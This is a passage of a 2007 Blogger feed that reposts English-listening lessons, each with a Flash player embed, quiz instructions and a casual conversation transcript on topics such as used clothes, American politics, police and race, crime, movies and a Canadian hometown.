height="400"&gt;&lt;/embed&gt;&lt;br /&gt;    &lt;/object&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;Introduction:&lt;/span&gt;&lt;br /&gt;You will hear four audio segments about a topic or situation.&lt;br /&gt;When the audio stops you will see a question with three possible answers.&lt;br /&gt;You must choose the correct answer to move forward. If you choose the wrong answer you have to listen again.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;Click Read More For Transcript&lt;/span&gt;&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;Todd: Hey, Marion, I like you outfit. Nice jeans and T-shirt.&lt;br /&gt;&lt;br /&gt;Marion: Oh, thank you.&lt;br /&gt;&lt;br /&gt;Todd: Where did you get it?&lt;br /&gt;&lt;br /&gt;Marion: Actually, my T-shirt is a hand-me-down from a friend of mine who's leaving so she gave me some of her clothes.&lt;br /&gt;&lt;br /&gt;Todd: Oh, really. Ah, OK. See, that's cool, like if I know the person who wore the shirt before, I'll wear it, but I will never go to a second hand clothing store or a used clothing store (Really) I think that's disgusting.&lt;br /&gt;&lt;br /&gt;Marion: Why?&lt;br /&gt;&lt;br /&gt;Todd: Well, I mean, you don't know who wore it before.&lt;br /&gt;&lt;br /&gt;Marion: But they're washed, Todd. You know!&lt;br /&gt;&lt;br /&gt;Todd: Yeah, but, OK, first of all, what if the person who wore it was just the type or person you really hated. There's something about the person that you just really didn't like, and then, now you're wearing that person's clothes. Doesn't that disgust you?&lt;br /&gt;&lt;br /&gt;Marion: No, do think a person's personality rubs off on their clothes (No, but) and then it survives the wash cycle in your washing machine?&lt;br /&gt;&lt;br /&gt;Todd: OK. Right. Right. I see what you're saying, but I'll put it to you this way. Imagine that you work with somebody.&lt;br /&gt;&lt;br /&gt;Marion: Yes.&lt;br /&gt;&lt;br /&gt;Todd: Ok, at your job, is there somebody that you don't like.&lt;br /&gt;&lt;br /&gt;Marion: Yes.&lt;br /&gt;&lt;br /&gt;Todd: OK, now imagine that there's a clothing bin and people can put clothes in there and you see a shirt and you like it, and you're just about to take it and someone says, that's that persons shirt. Would you still take it?&lt;br /&gt;&lt;br /&gt;Marion: Mm, I probably wouldn't.&lt;br /&gt;&lt;br /&gt;Todd: Right. See. See.&lt;br /&gt;&lt;br /&gt;Marion: Yeah, but only because I wouldn't want to feel like that person had done me a favor in some way. (Right) I wouldn't want to be beholden to that person if I don't like them.&lt;br /&gt;&lt;br /&gt;Todd: Right. Yeah. I mean, I don't know. I guess it's good to have second hand clothes if people don't have anything, you know for charity and things like that.&lt;br /&gt;&lt;br /&gt;Marion: Yeah. Well, actually, when I was in college, I didn't have very much money, so the only clothes I could buy were second-hand clothes so I actually really got to like going around the charity shops and finding clothes that I really liked, so nothing that was following the trends of the moment, but in college that really doesn't matter. I think it's better to wear something if you feel comfortable in, and I think there's a real sense of achievement when you find something that you've wanted for God-knows-how-long, for example, I found a brown suede jacket one time in a charity shop, and I thought, "Oh, my God. This is exactly the type of suede jacket that I have been longing for", but I could never afford that jacket at full-price, even at half-price in a normal shop. I could never have had it, so actually most of my wardrobe at home is second hand clothes I would say, and I love it. I will go to a second hand clothes shop before a normal clothes shop any day. It's so much more fun.&lt;br /&gt;&lt;br /&gt;Todd: Well, that's very interesting. You have fun shopping at those stores&lt;br /&gt;&lt;br /&gt;Marion: I will.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-2349050586654304051?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/2349050586654304051/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2007/09/578-used-clothes-marion-and-todd-debate.html#comment-form' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/2349050586654304051'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/2349050586654304051'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2007/09/578-used-clothes-marion-and-todd-debate.html' title='#578 Used Clothes - Marion and Todd debate wearing used clothes'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-6005815454529355303</id><published>2007-09-14T23:14:00.000+07:00</published><updated>2007-09-14T23:14:03.632+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='551-600'/><category scheme='http://www.blogger.com/atom/ns#' term='Learning English Online'/><title type='text'>#577 The U.S. President - Nitiya asks about the U.S. President</title><content type='html'>&lt;object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="500" height="400"&gt;&lt;br /&gt;      &lt;param name="movie" value="http://elllo.org/Swiff0551-Old/577Q-Nitya-Politics.swf" /&gt;&lt;br /&gt;      &lt;param name="quality" value="high" /&gt;&lt;br /&gt;      &lt;embed src="http://elllo.org/Swiff0551-Old/577Q-Nitya-Politics.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="500" height="400"&gt;&lt;/embed&gt;&lt;br /&gt;    &lt;/object&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Introduction:&lt;/span&gt;&lt;br /&gt;You will hear four audio segments about a topic or situation.&lt;br /&gt;When the audio stops you will see a question with three possible answers.&lt;br /&gt;You must choose the correct answer to move forward. If you choose the wrong answer you have to listen again.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;Click Read More For Transcript&lt;/span&gt;&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;Nitiya: OK, can I ask you something? What do you think about Bush?&lt;br /&gt;&lt;br /&gt;Todd: What do I think about Bush?&lt;br /&gt;&lt;br /&gt;Nitiya: Yeah.&lt;br /&gt;&lt;br /&gt;Todd: Well, I didn't vote for him. (OK) I didn't vote for him in the last two elections. He, in my opinion, is too conservative. I'm from a part of America, San Francisco, we're a lot liberal in our thinking, and I think Bush lost my city 85 to 15 (%), so I'm not a big fan of President Bush. I believe in democracy, and I believe in the system, but it's not easy when the person who gets in office is not the person you want to be there. It's very frustrating.&lt;br /&gt;&lt;br /&gt;Nitiya: OK, OK, what I actually meant to ask is, the Iraq war, and things like that, Iraq war not only affected Iraq, it affected a lot of those military army people of America (right) their wives and children back home. They don't know if their father is going to come back or not (right) I mean not only affected total Iraq it was a very bad affect on America, too. I mean people, who ever loved America, there are so many people now who have a so bad image of America because of one, this, and I consider it a very, very insensitive action of Bush, so what do you think about that?&lt;br /&gt;&lt;br /&gt;Todd: Well, I pretty much agree with everything you said. It's tough. I mean, I don't, obviously you don't, I wasn't for having Saddam Hussein remain in power, or, but it bothers me that my country is doing actions where children can die, or babies can die, or even soldiers can die.&lt;br /&gt;&lt;br /&gt;Nitiya: I mean Saddam Hussein is in power or not, why is Bush interfering in that? He can mind his own business, right? I mean, I just feel sometimes, when Bush sleeps in the night, doesn't he feel some sensitivity or guilty to even one person that, when you see that those bombs, those small kids dying, and you know, whole bloodshed, how can even he sleep, with peace. I just sometimes wonder.&lt;br /&gt;&lt;br /&gt;Todd: No, and actually that's one, that's one criticism that he, that people even have in America, a lot of people in America have of him is that he, does he know, does he really feel the pain that people are dying, children are dying, and yeah, it's a tragic situation, and...&lt;br /&gt;&lt;br /&gt;Nitiya: And I think, there is one thing, I really feel that, there is always two parts of this whole story, I mean, we are seeing it with our civilian eyes, but the truth, none of us know. It's all politics. I mean, Saddam knows and Bush knows and we know nothing, it's like that&lt;br /&gt;&lt;br /&gt;Todd: Well, I agree 100% with that.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-6005815454529355303?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/6005815454529355303/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2007/09/577-us-president-nitiya-asks-about-us.html#comment-form' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/6005815454529355303'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/6005815454529355303'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2007/09/577-us-president-nitiya-asks-about-us.html' title='#577 The U.S. President - Nitiya asks about the U.S. President'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-6584514564988827199</id><published>2007-09-14T23:12:00.002+07:00</published><updated>2007-09-14T23:12:37.410+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='551-600'/><category scheme='http://www.blogger.com/atom/ns#' term='Learning English Online'/><title type='text'>#576 Police in America - Nitiya asks about the police and race in America</title><content type='html'>&lt;object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="500" height="400"&gt;&lt;br /&gt;      &lt;param name="movie" value="http://elllo.org/Swiff0551-Old/576Q-Nitya-Police.swf" /&gt;&lt;br /&gt;      &lt;param name="quality" value="high" /&gt;&lt;br /&gt;      &lt;embed src="http://elllo.org/Swiff0551-Old/576Q-Nitya-Police.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="500" height="400"&gt;&lt;/embed&gt;&lt;br /&gt;    &lt;/object&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Introduction:&lt;/span&gt;&lt;br /&gt;You will hear four audio segments about a topic or situation.&lt;br /&gt;When the audio stops you will see a question with three possible answers.&lt;br /&gt;You must choose the correct answer to move forward. If you choose the wrong answer you have to listen again.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Click Read More For Transcript&lt;/span&gt;&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;Nitiya: OK, can you actually talk a little bit about police in America? How much does the civilians trust them or what beliefs you have about them?&lt;br /&gt;&lt;br /&gt;Todd: Ooh, that I guess would depend on where you live. I grew up in a pretty small town. I'm white, Caucasian, and I think that most Causasian people trust the police pretty much a 100%. They think that they're there to serve and protect, but unfortunately minority groups, blacks or African Americans and Hispanic people, Asian people sometimes don't trust the police.&lt;br /&gt;&lt;br /&gt;Nitiya: OK, why do you think they don't trust the police sometimes?&lt;br /&gt;&lt;br /&gt;Todd: Well, one is because the police probably don't treat them fairly. Often, they live, some minority groups, live in poor areas, and in the poor areas there might be higher crime and the police probably have more stress, and they have, they're more defensive, and as a result maybe they behave poorly, or they don't treat certain minority groups equally. They're more suspicious, and as a result, sometimes bad things happen.&lt;br /&gt;&lt;br /&gt;Nitiya: So basically, most of the people do trust, it's like that.&lt;br /&gt;&lt;br /&gt;Todd: I think, I think most people trust the police. I think, understandably, especially African Americans, don't trust the police because they think the police is always nervous and edgy around them, and that the police might use violence against them, or suspect that they are criminals, when they are just a good ordinary citizen, and so they probably don't trust the police as much.&lt;br /&gt;&lt;br /&gt;Nitiya: OK, then and there is one more thing I want to ask you, about this police thing, so African Americans don't become police?&lt;br /&gt;&lt;br /&gt;Todd: Oh, no, it's quite often that African Americans do become police.&lt;br /&gt;&lt;br /&gt;Nitiya: OK, so you do have black people, who are police?&lt;br /&gt;&lt;br /&gt;Todd: Oh, of course and you have, we have minority group. Usually where you have distrust with the police is the major larger cities, and it's a race thing, that has to do with race, but it also is an income thing, where usually the lower income people often feel like, they're not treated, you know, fairly I guess. I mean what is it like in India? Do you have complete trust of the police?&lt;br /&gt;&lt;br /&gt;Nitiya: I guess no, but it depends exactly on the city, as you said. The smaller cities, I think the conditions are very bad. I don't think, and it's not that fast, like in America, you dial a number and there are police there in two minutes, but that's not the way in India. Crime finishes and then they appear. Yeah. It's like that.&lt;br /&gt;&lt;br /&gt;Todd: OK, well, nice talking to you about that.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-6584514564988827199?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/6584514564988827199/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2007/09/576-police-in-america-nitiya-asks-about.html#comment-form' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/6584514564988827199'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/6584514564988827199'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2007/09/576-police-in-america-nitiya-asks-about.html' title='#576 Police in America - Nitiya asks about the police and race in America'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-3731084215686540886</id><published>2007-09-14T23:10:00.002+07:00</published><updated>2007-09-14T23:10:42.828+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='551-600'/><category scheme='http://www.blogger.com/atom/ns#' term='Learning English Online'/><title type='text'>#575 Crime in America  - Nitiya asks about crime in the U.S</title><content type='html'>&lt;object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="500" height="400"&gt;&lt;br /&gt;      &lt;param name="movie" value="http://elllo.org/Swiff0551-Old/575Q-Nitya-Murder.swf" /&gt;&lt;br /&gt;      &lt;param name="quality" value="high" /&gt;&lt;br /&gt;      &lt;embed src="http://elllo.org/Swiff0551-Old/575Q-Nitya-Murder.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="500" height="400"&gt;&lt;/embed&gt;&lt;br /&gt;    &lt;/object&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Introduction:&lt;/span&gt;&lt;br /&gt;You will hear four audio segments about a topic or situation.&lt;br /&gt;When the audio stops you will see a question with three possible answers.&lt;br /&gt;You must choose the correct answer to move forward. If you choose the wrong answer you have to listen again.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Click Read More For Transcript&lt;/span&gt;&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;Nitiya: OK, there is one other thing I want to ask you about America, I mean I see it a lot in movies, but I don't know whether it is true or not, do you really have so many serial killer in America?&lt;br /&gt;&lt;br /&gt;Todd: You mean people that go and they kill many people? Um, yeah, sadly there is a lot of killers. I don't know that it's only unique to America. I think it happens in all industrialized countries, but yeah, unfortunately it seems that every two or three years in the news, they'll be a story of some person going and killing multiple people, which is why they are called a serial killer, so and it's actually, it's because of people like that, that I actually believe in the death penalty. I think that even though you can argue that, you should not be, you should never kill someone else, you should not do an eye for an eye, people like that, I just think there is no excuse, they really..&lt;br /&gt;&lt;br /&gt;Nitiya: Exactly, exactly. I agree with you. But why do you think that industrial countries thing connected with serial killing?&lt;br /&gt;&lt;br /&gt;Todd: Well, once I saw something on TV with an FBI specialist and he said it's probably because that the parents are away from the family and there's not a community, there's not a village type environment. That because families live in these really closed units, mother, father, children, and that's it, that maybe some children get, feel distant, from their families, they feel distant from society, and they have some type of trauma and that psychologically effects them.&lt;br /&gt;&lt;br /&gt;Nitiya: Exactly, psychological, yeah.&lt;br /&gt;&lt;br /&gt;Todd: Which actually, though makes me think, if that's the case then maybe you shouldn't kill them because it's not there fault, but I don't know.&lt;br /&gt;&lt;br /&gt;Nitiya: But you know, sometimes to stop for another upcoming thing you got to do something. You got to really put a break on it. (Right) but stress is one thing, I guess, psychological.&lt;br /&gt;&lt;br /&gt;Todd: Right, but you don't have serial killers in India? You never have that in the news?&lt;br /&gt;&lt;br /&gt;Nitiya: I guess they are, they're there. I don't know much about serial killers in India, but I think they will have been.&lt;br /&gt;&lt;br /&gt;Todd: Right. I would imagine that pretty much anywhere in the world it must be a problem.&lt;br /&gt;&lt;br /&gt;Nitiya: I guess.&lt;br /&gt;&lt;br /&gt;Todd: The thing is,is that I think life is so precious, I don't even like to kill insects, I mean because if you have life, you should never extinguish life, so at the human level I just don't understand it.&lt;br /&gt;&lt;br /&gt;Nitiya: But I think, like you say, people don't even like killing insects, but if they don't eat chicken, there are people who can't eat, who cannot survive one day without having at least one meal of meat (right) so, more or less, you cannot stop that thing I guess.&lt;br /&gt;&lt;br /&gt;Todd: Now are you a vegetarian?&lt;br /&gt;&lt;br /&gt;Nitiya: Yep.&lt;br /&gt;&lt;br /&gt;Todd: Ah, so most Hindi people are vegetarian?&lt;br /&gt;&lt;br /&gt;Nitiya: Not like that. Many of them eat, and many of them don't eat. I used to eat but I stopped eating.&lt;br /&gt;My family does eat.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-3731084215686540886?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/3731084215686540886/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2007/09/575-crime-in-america-nitiya-asks-about.html#comment-form' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/3731084215686540886'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/3731084215686540886'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2007/09/575-crime-in-america-nitiya-asks-about.html' title='#575 Crime in America  - Nitiya asks about crime in the U.S'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-8907479605269500077</id><published>2007-09-14T23:08:00.001+07:00</published><updated>2007-09-14T23:08:48.629+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='551-600'/><category scheme='http://www.blogger.com/atom/ns#' term='Learning English Online'/><title type='text'>#574 Movie Fan  - Todd and Nitiya discuss movies</title><content type='html'>&lt;object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="500" height="400"&gt;&lt;br /&gt;      &lt;param name="movie" value="http://elllo.org/Swiff0551-Old/574Q-Nitya-Movie.swf" /&gt;&lt;br /&gt;      &lt;param name="quality" value="high" /&gt;&lt;br /&gt;      &lt;embed src="http://elllo.org/Swiff0551-Old/574Q-Nitya-Movie.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="500" height="400"&gt;&lt;/embed&gt;&lt;br /&gt;    &lt;/object&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Introduction:&lt;/span&gt;&lt;br /&gt;You will hear four audio segments about a topic or situation.&lt;br /&gt;When the audio stops you will see a question with three possible answers.&lt;br /&gt;You must choose the correct answer to move forward. If you choose the wrong answer you have to listen again.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Click Read More For Transcript&lt;/span&gt;&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;Nitiya: OK, so something about fun, actually what kind of movies do you like?&lt;br /&gt;&lt;br /&gt;Todd: Um, well, let's see, I like. I love comedy movies, and for me the most important thing about a movie is, does it have good dialog, does it have good writing, so I don't care about special effects, and stuff like that. It just doesn't interest me, and actually I don't like big Hollywood movies (OK) I think they're terrible.&lt;br /&gt;&lt;br /&gt;Nitiya: Terrible!&lt;br /&gt;&lt;br /&gt;Todd: Yeah. (OK) What kind of movies do you like?&lt;br /&gt;&lt;br /&gt;Nitiya: I guess a lot of adventure, like the movie like "Star Gate" and The beach" and, and "The Beach" was not good but, I like something which is so different, something which is about the universe, or something which is about rockets and stuff like that.&lt;br /&gt;&lt;br /&gt;Todd: So you like movies that re quire... (detective movies also)... and what?&lt;br /&gt;&lt;br /&gt;Nitiya: Detective.&lt;br /&gt;&lt;br /&gt;Todd: Oh, detective movies. (Yeah) So you like movies that require imagination?&lt;br /&gt;&lt;br /&gt;Nitiya: Exactly.&lt;br /&gt;&lt;br /&gt;Todd: Now, since we're talking about movies, India has a very big movie industry, Bollywood, (Yeah) do you like the Bollywood movies?&lt;br /&gt;&lt;br /&gt;Nitiya: It's great. (Yeah) Awesome. Yeah. I guess a lot of people in the whole world like it a lot.&lt;br /&gt;&lt;br /&gt;Todd: Bollywood, they always have so many people, like the thing is, where do they get all those actors?&lt;br /&gt;&lt;br /&gt;Nitiya: Lots of actors, so much drama, and I guess a lot of music and dancing and it's just so different from Hollywood movies, so I guess for the reality, I prefer the Hollywood movie and if you just want to have some fun, it would be Bollywood movies.&lt;br /&gt;&lt;br /&gt;Todd: So, how often would you watch Bollywood and how often do you watch English?&lt;br /&gt;&lt;br /&gt;Nitiya: Whatever I get.&lt;br /&gt;&lt;br /&gt;Todd: whatever you get.&lt;br /&gt;&lt;br /&gt;Nitiya: I just love movies. I'm crazy behind movies.&lt;br /&gt;&lt;br /&gt;Todd: You're addicted to movies?&lt;br /&gt;&lt;br /&gt;Nitiya: Very much.&lt;br /&gt;&lt;br /&gt;Todd: OK, you know in the states when you go to the movies, it's always coke, popcorn, hot dog. When you go to movies in India, what's the food that you eat?&lt;br /&gt;&lt;br /&gt;Nitiya: Ok, coke is always there.&lt;br /&gt;&lt;br /&gt;Todd: Right.&lt;br /&gt;&lt;br /&gt;Nitiya: And yeah, something like chips or potato chips or anything you get in your hands. Basically I don't like getting disturbed when I'm watching a movie. I'm a person who likes watching a movie very quietly. I don't like watching with friends. I mean, I prefer going who also like watching movies quietly. I mean there are some people in the world, they sit for the movie and they go, oh, this is going to happen next and things like that. I get so irritated. Let me watch it, concentrately.&lt;br /&gt;&lt;br /&gt;Todd: Right, I hate that.&lt;br /&gt;&lt;br /&gt;Nitiya: I really want to do it quietly, peacefully. I just want to watch the movie. Not talk to the person sitting behind me.&lt;br /&gt;&lt;br /&gt;Todd: Ah, I totally agree. And I want to see the beginning, and I want to see the end.&lt;br /&gt;&lt;br /&gt;Nitiya: Exactly.&lt;br /&gt;&lt;br /&gt;Todd: And no interruptions&lt;br /&gt;&lt;br /&gt;Nitiya: Once I begin I really want to go till the end. (Right) I can't stop it in the middle and say, "Oh, oh."&lt;br /&gt;&lt;br /&gt;Todd: Yeah, which do you prefer, watching it at the cinema, or on DVD at home?&lt;br /&gt;&lt;br /&gt;Nitiya: At home.&lt;br /&gt;&lt;br /&gt;Todd: At home. So nobody bothers you?&lt;br /&gt;&lt;br /&gt;Nitiya: Yep.&lt;br /&gt;&lt;br /&gt;Todd: Right. Yeah, same thing. OK, thanks, Natiya.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-8907479605269500077?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/8907479605269500077/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2007/09/574-movie-fan-todd-and-nitiya-discuss.html#comment-form' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/8907479605269500077'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/8907479605269500077'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2007/09/574-movie-fan-todd-and-nitiya-discuss.html' title='#574 Movie Fan  - Todd and Nitiya discuss movies'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-4590569619260795829</id><published>2007-09-14T23:07:00.000+07:00</published><updated>2007-09-14T23:07:03.622+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='551-600'/><category scheme='http://www.blogger.com/atom/ns#' term='Learning English Online'/><title type='text'>#573 Canadian Town - Rina talks about her town in Canada</title><content type='html'>&lt;object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="500" height="400"&gt;&lt;br /&gt;      &lt;param name="movie" value="http://elllo.org/Swiff0551-Old/573Q-Rina-Hometown.swf" /&gt;&lt;br /&gt;      &lt;param name="quality" value="high" /&gt;&lt;br /&gt;      &lt;embed src="http://elllo.org/Swiff0551-Old/573Q-Rina-Hometown.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="500" height="400"&gt;&lt;/embed&gt;&lt;br /&gt;    &lt;/object&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Introduction:&lt;/span&gt;&lt;br /&gt;You will hear four audio segments about a topic or situation.&lt;br /&gt;When the audio stops you will see a question with three possible answers.&lt;br /&gt;You must choose the correct answer to move forward. If you choose the wrong answer you have to listen again.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Click Read More For Transcript&lt;/span&gt;&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;Todd: So, Rina, where are you from?&lt;br /&gt;&lt;br /&gt;Rina: I am from Davidson, Skeskatchewan, and it's a small town in Skeskatchewan, about 1,000 people, and I grew up there.&lt;br /&gt;&lt;br /&gt;Todd: Now, Skeskatchewan, that's a part of Canada that doesn't have a lot of people, right?&lt;br /&gt;&lt;br /&gt;Rina: There's, in the whole province, there's a million people.&lt;br /&gt;&lt;br /&gt;Todd: That's it.&lt;br /&gt;&lt;br /&gt;Rina: In all of Canada there is only 33 million, so yeah.&lt;br /&gt;&lt;br /&gt;Todd: And you only have one?&lt;br /&gt;&lt;br /&gt;Rina: One. There's 33 million.&lt;br /&gt;&lt;br /&gt;Todd: Yeah, actually, is there any major Canadian cities in Skeskatchewan?&lt;br /&gt;&lt;br /&gt;Rina: Well, the capital is Regina. (Really) Yeah, if you've heard of that.&lt;br /&gt;&lt;br /&gt;Todd: No&lt;br /&gt;&lt;br /&gt;Rina: But I live in, right now my parents live in Saskatoon.&lt;br /&gt;&lt;br /&gt;Todd: Oh, OK.&lt;br /&gt;&lt;br /&gt;Rina: And that's, my town is between Regina and Saskatoon., called the midway town.&lt;br /&gt;&lt;br /&gt;Todd: What's it like growing up in a very small rural setting?&lt;br /&gt;&lt;br /&gt;Rina: It was awesome. My parents, because they immigrated from Lebanon were very strict with me so I really wasn't allowed to do very much until I was about in grade 11, when my brother was old enough to come with me, but it was, once I was able to start going out and going to dances and things like that I loved it.&lt;br /&gt;&lt;br /&gt;Todd: Oh, really, even in your small town?&lt;br /&gt;&lt;br /&gt;Rina: In my small town, yeah. Cause I had it, I was very close with a lot of, like a very small class, very very close with a lot of people there, yeah.&lt;br /&gt;&lt;br /&gt;Todd: Sounds good. So, in all of Canada, like when you go back and you settle down and you live in Canada, do you want to live in Skeskatchewan?&lt;br /&gt;&lt;br /&gt;Rina: No.&lt;br /&gt;&lt;br /&gt;Todd: No.&lt;br /&gt;&lt;br /&gt;Rina: No, it's not, it's, I've developed a lot more since I was that age and it's just not the same anymore. I'd like a bigger center, preferably Vancouver, or Montreal, on one of the coasts. Yeah. So.&lt;br /&gt;&lt;br /&gt;Todd: Not Toronto?&lt;br /&gt;&lt;br /&gt;Rina: No, I'm not a big fan of Toronto.&lt;br /&gt;&lt;br /&gt;Todd: Ah, why?&lt;br /&gt;&lt;br /&gt;Rina: Because I'm a little jaded. When I was, in 94, we went to Niagara Falls, and we drove through Toronto and it was just so, it looked so busy and smoggy and just crazy, and so I never really liked it since then. I have that image in my head still of that.&lt;br /&gt;&lt;br /&gt;Todd: Yeah, well, that's how I feel about L. A.&lt;br /&gt;&lt;br /&gt;Rina: Yeah.&lt;br /&gt;&lt;br /&gt;Todd: Yeah. I don't like Los Angeles. OK, well thanks.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-4590569619260795829?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/4590569619260795829/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2007/09/573-canadian-town-rina-talks-about-her.html#comment-form' title='0 Nhận xét'/><link 